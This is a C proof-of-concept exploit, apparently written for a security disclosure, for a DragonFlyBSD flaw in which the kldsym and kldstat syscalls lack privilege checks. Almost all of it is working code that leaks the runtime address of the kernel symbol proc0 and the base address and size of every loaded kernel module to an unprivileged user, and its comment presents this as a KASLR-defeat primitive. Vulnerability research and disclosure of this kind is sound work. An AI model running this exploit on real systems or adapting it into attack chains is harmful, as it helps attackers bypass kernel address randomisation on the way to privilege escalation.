DF-0025 / kld_leak.c
/* * DF-0025 PoC - sys_kldstat() / sys_kldsym() missing privilege check leaks * kernel symbol and module addresses to any local user. * * Only sys_kldload (sys/kern/kern_linker.c:794) and sys_kldunload (:841) are * gated by caps_priv_check_self(SYSCAP_NOKLD). sys_kldstat (:940) and * sys_kldsym (:1024) have NO gate. sys_kldsym resolves an arbitrary kernel * symbol name to its absolute runtime address, and sys_kldstat returns each * loaded module's base address (lf->address) and size. Any local user can dump * a complete symbol-to-address map of the running kernel + every KLD. * * Build (DragonFlyBSD): cc -o kld_leak kld_leak.c * Run as an UNPRIVILEGED user. * * Expected (bug present): prints the absolute address of `proc0` (kldsym) and * the base address + size of every loaded KLD (kldstat) to an unprivileged * user. KASLR-defeat / symbol-map primitive. */ #include <sys/param.h> #include <sys/linker.h> #include <stdio.h> #include <stdint.h> int main(void) { int id = 0; /* (1) kldsym: resolve an arbitrary kernel symbol to its absolute address. */ struct kld_sym_lookup l; l.version = sizeof(l); l.symname = "proc0"; if (kldsym(0 /* any file */, KLDSYM_LOOKUP, &l) == 0) { printf("[+] kldsym(\"proc0\") = 0x%lx (unprivileged KASLR/symbol leak)\n", (unsigned long)l.symvalue); } else { perror("kldsym"); } /* (2) kldstat: enumerate every loaded KLD's base address + size. */ printf("[+] kldstat: loaded modules (base + size):\n"); while ((id = kldnext(id)) > 0) { struct kld_file_stat st; st.version = sizeof(st); if (kldstat(id, &st) == 0) { printf(" %-20s id=%d base=0x%lx size=%7lu refs=%d\n", st.name, st.id, (unsigned long)st.address, (unsigned long)st.size, st.refs); } } return 0; } |